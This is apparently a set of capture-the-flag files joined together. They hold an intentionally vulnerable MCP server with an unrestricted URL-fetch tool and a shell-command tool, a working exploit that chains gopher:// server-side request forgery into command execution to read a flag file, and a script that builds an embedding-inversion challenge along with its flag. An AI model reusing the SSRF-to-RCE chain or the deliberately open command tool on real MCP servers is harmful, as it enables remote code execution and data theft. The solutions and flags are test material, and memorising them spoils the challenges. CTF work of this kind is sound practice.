from asyncio import subprocess

from typing import cast

from mcp.server.fastmcp import FastMCP, Context

from pydantic import BaseModel

from starlette.requests import Request

# Create an MCP server

mcp = FastMCP("CTF")

class RunCmdResponse(BaseModel):

    stdout: str

    stderr: str

    error: str | None = None

@mcp.tool()

async def get_url(url: str) -> str:

    """

    Fetch content from a remote URL.

    """

    res = await subprocess.create_subprocess_exec(

        "curl",

        "-s",

        "--max-time",

        "1",

        url,

        stdout=subprocess.PIPE,

        stderr=subprocess.PIPE,

    )

    stdout, stderr = await res.communicate()

    if res.returncode == 0:

        return stdout.decode()

    else:

        raise ValueError(f"Failed to fetch URL {url}:\n  stderr:{stderr.decode()}\n  stdout:{stdout.decode()}")

@mcp.tool()

async def run_cmd(ctx: Context, command: list[str]) -> "RunCmdResponse":

    """

    Run a command on the MCP server.

    """

    request = cast(Request, ctx.request_context.request)

    if request.client is not None and request.client.host != "127.0.0.1":

        raise ValueError(

            "This tool can only be used from the local machine for security reasons."

        )

    # print path body

    print(f"query_params: {request.query_params}")

    print(f"headers: {request.headers}")

    print(f"cookies: {request.cookies}")

    print(f"method: {request.method}")

    print(f"url: {request.url}")

    print(f"body: {await request.body()}")

    # print command

    print(f"command: {command}")

    result = await subprocess.create_subprocess_exec(

        *command, stdout=subprocess.PIPE, stderr=subprocess.PIPE

    )

    stdout, stderr = await result.communicate()

    if result.returncode == 0:

        return RunCmdResponse(stdout=stdout.decode(), stderr=stderr.decode())

    else:

        return RunCmdResponse(

            error="Command failed", stdout=stdout.decode(), stderr=stderr.decode()

        )

if __name__ == "__main__":

    mcp.settings.host = "0.0.0.0"

    mcp.run(transport="sse")

import json

from urllib.parse import quote_plus

import anyio

import httpx

from httpx import URL

from mcp.client.session import ClientSession

from mcp.client.sse import sse_client

from mcp.types import JSONRPCResponse

class AsyncClient(httpx.AsyncClient):

    session_id: str | None = None

    def post(self, *args, **kwargs):

        """Override post method to ensure it uses the MCP client."""

        url = args[0] if args else kwargs.get("url")

        self.session_id = URL(url).params.get("session_id")

        return super().post(*args, **kwargs)

client = AsyncClient(timeout=httpx.Timeout(30.0))

def create_mcp_http_client(

    headers: dict[str, str] | None = None,

    timeout: httpx.Timeout | None = None,

    auth: httpx.Auth | None = None,

) -> httpx.AsyncClient:

    return client

def build_gopher_request():

    session_id = client.session_id

    body = json.dumps(

        {

            "method": "tools/call",

            "params": {

                "name": "run_cmd",

                "arguments": {"command": ["sh", "-c", "cat /home/mcp/flag_7d1f2527449d356d094227b54415c6dc.txt"]},

            },

            "jsonrpc": "2.0",

            "id": 114514,

        }

    )

    payload = (

        f"""POST /messages/?session_id={session_id} HTTP/1.1

Host: xxxxx

Connection: close

Content-Type: application/json

Content-Length: {len(body)}

""".replace("\n", "\r\n")

        + body

        + "\r\n\r\n\r\n\r\n"

    )

    finalpayload = (

        quote_plus(payload)

        .replace("+", "%20")

        .replace("%2F", "/")

        .replace("%25", "%")

        .replace("%3A", ":")

    )

    return f"gopher://127.0.0.1:8000/_{finalpayload}"

async def main():

    async with sse_client(

        "http://example.com:8161/sse", httpx_client_factory=create_mcp_http_client

    ) as (read, write):

        async with ClientSession(read, write) as session:

            async def read_114514_response():

                streamer, reader = anyio.create_memory_object_stream(1)

                session._response_streams[114514] = streamer

                message: JSONRPCResponse

                async for message in reader:

                    print(json.loads(message.result['content'][0]['text'])['stdout'])

                    return

            async def send_exploit():

                await session.initialize()

                payload = build_gopher_request()

                print(f"Sending payload: {payload}")

                res = await session.call_tool(

                    "get_url",

                    {

                        "url": payload,

                    },

                )

                print(f"Received response: {res.content}")

            async with anyio.create_task_group() as tg:

                tg.start_soon(read_114514_response)

                tg.start_soon(send_exploit)

if __name__ == "__main__":

    import asyncio

    asyncio.run(main())

import hashlib

import torch

import vec2text

from transformers import AutoModel, AutoTokenizer

from transformers.modeling_utils import PreTrainedModel

from transformers.tokenization_utils import PreTrainedTokenizer

MODEL = "nomic-ai/nomic-embed-text-v1.5"

def get_gtr_embeddings(

    text_list, encoder: PreTrainedModel, tokenizer: PreTrainedTokenizer

) -> torch.Tensor:

    inputs = tokenizer(

        text_list,

        return_tensors="pt",

        max_length=128,

        truncation=True,

        padding="max_length",

    ).to("mps")

    with torch.no_grad():

        model_output = encoder(

            input_ids=inputs["input_ids"], attention_mask=inputs["attention_mask"]

        )

        hidden_state = model_output.last_hidden_state

        embeddings = vec2text.models.model_utils.mean_pool(

            hidden_state, inputs["attention_mask"]

        )

    return embeddings

encoder = AutoModel.from_pretrained("sentence-transformers/gtr-t5-base").encoder.to(

    "mps"

)

tokenizer = AutoTokenizer.from_pretrained("sentence-transformers/gtr-t5-base")

corrector = vec2text.load_pretrained_corrector("gtr-base")

hint = (

    "The result is a repeated sentence with only lowercase letters and spaces., please use flag{md5(sentence)} to submit."

    + 'e.g. if the result is "marry has a little lamb. marry has a little lamb. marry has a little lamb.", then the flag is flag{md5("marry has a little lamb")}, which is flag{c32e8273dfff47f2711d0855bc538f68}'

)

sentence = "wow you find the way to reverse embedings."

flag = "flag{" + hashlib.md5(sentence.encode("utf-8")[:-1]).hexdigest() + "}"

print(f"Hint: {hint}")

print(f"Flag: {flag}")

embeddings = get_gtr_embeddings(

    [sentence * i for i in range(1, 6)],

    encoder,

    tokenizer,

)

print(embeddings.shape)

print(embeddings)

res = vec2text.invert_embeddings(

    embeddings=embeddings.to("mps"),

    corrector=corrector,

    num_steps=20,

)

print(res)

class Challenge:

    # embeddings_model = MODEL

    # hint = hint

    # embedings = embeddings

    def __init__(self) -> None:

        self.embeddings_model = MODEL

        self.hint = hint

        self.embeddings = embeddings

with open("challenge.pickle", "wb") as f:

    import pickle

    pickle.dump(Challenge(), f)